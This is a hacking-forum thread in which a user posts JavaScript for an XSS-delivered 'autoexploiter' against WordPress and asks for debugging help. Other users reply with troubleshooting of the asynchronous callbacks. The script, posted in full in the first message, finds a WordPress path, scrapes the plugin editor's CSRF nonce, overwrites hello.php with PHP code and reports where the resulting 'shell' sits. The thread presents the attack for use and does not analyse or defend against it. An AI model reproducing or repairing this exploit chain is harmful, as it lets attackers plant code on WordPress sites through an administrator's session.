Login Register






Callback Hell filter_list
Author
Message
Callback Hell #1
Hey,
i have a little problem with my code.
at the moment i am trying to do a autoexploiter over xss...
But somehow it wont work Sad
Code:
detectcms(); function attackWorpress(pathtowpinstallation){ var newdata='<?php echo 123456;?>'; var regExp = /_wpnonce" value="(.*?)"/; httpGet(pathtowpinstallation + "/wp-admin/plugin-editor.php?file=hello.php&plugin=hello.php",function(page){ var matches = regExp.exec(page); var csrftoken = matches[1]; httpPost(pathtowpinstallation + "/wp-admin/plugin-editor.php", "_wpnonce=" + csrftoken + "&_wp_http_referer=" + pathtowpinstallation + "/wp-admin/plugin-editor.php?file=hello.php&plugin=hello.php&newcontent=" + newdata + "&action=update&file=hello.php&plugin=hello.php&scrollto=0&submit=Update+File",function(done){ httpGet(pathtowpinstallation + "/wp-content/plugins/hello.php",function(content){ console.log("shell at : " + pathtowpinstallation + "/wp-content/plugins/hello.php") }); }); }); } function detectcms(){ var paths=["/","/wp/","/wordpress/","/blog/"]; for(var i=0;i<paths.length;i++){ httpGet("http://"+document.domain+paths[i]+"license.txt",function(data){ if(data.indexOf("wordpress")!=-1){ attackWorpress("http://"+document.domain+paths[i]); } }); } } function httpPost(theUrl, post,func){ var xmlHttp = null; xmlHttp = new XMLHttpRequest(); xmlHttp.open("POST",theUrl,false); xmlHttp.setRequestHeader("Content-type","application/x-www-form-urlencoded"); xmlHttp.onreadystatechange = function() { if (xmlHttp.readyState == 4) { func(xmlHttp.responseText); } } xmlHttp.send(post); } function httpGet(theUrl,func){ var xmlHttp = new XMLHttpRequest(); xmlHttp.onreadystatechange = function() { if (xmlHttp.readyState == 4) { func(xmlHttp.responseText); } } xmlHttp.open("GET",theUrl,true); xmlHttp.send(null); }
if somebody could take a look i would be really happy.
Smile
Regards B!t

Reply

RE: Callback Hell #2
You need to post a fucking problem! "It somehow doesnt work" doesn't mean fuck all. what doesnt work?? is there an error message?? does it not do something specific that you expect it to do?? What's going on specifically??

Reply

RE: Callback Hell #3
Ok,
the problem is the function
Code:
httpGet(pathtowpinstallation + "/wp-admin/plugin-editor.php?file=hello.php&plugin=hello.php",function(page){
somehow it wont run further, the regex filter say's the matches are zero and if i try to write the page content in in console or on the page the whole programm freeze.

Maybe just too many asynchrone stuff there.

Reply

RE: Callback Hell #4
Ok i was able to fix the issue at my own Smile
the problem was at the httpGet function and at the httpPost function because some urls are wrong (asynchrone stuff).

Reply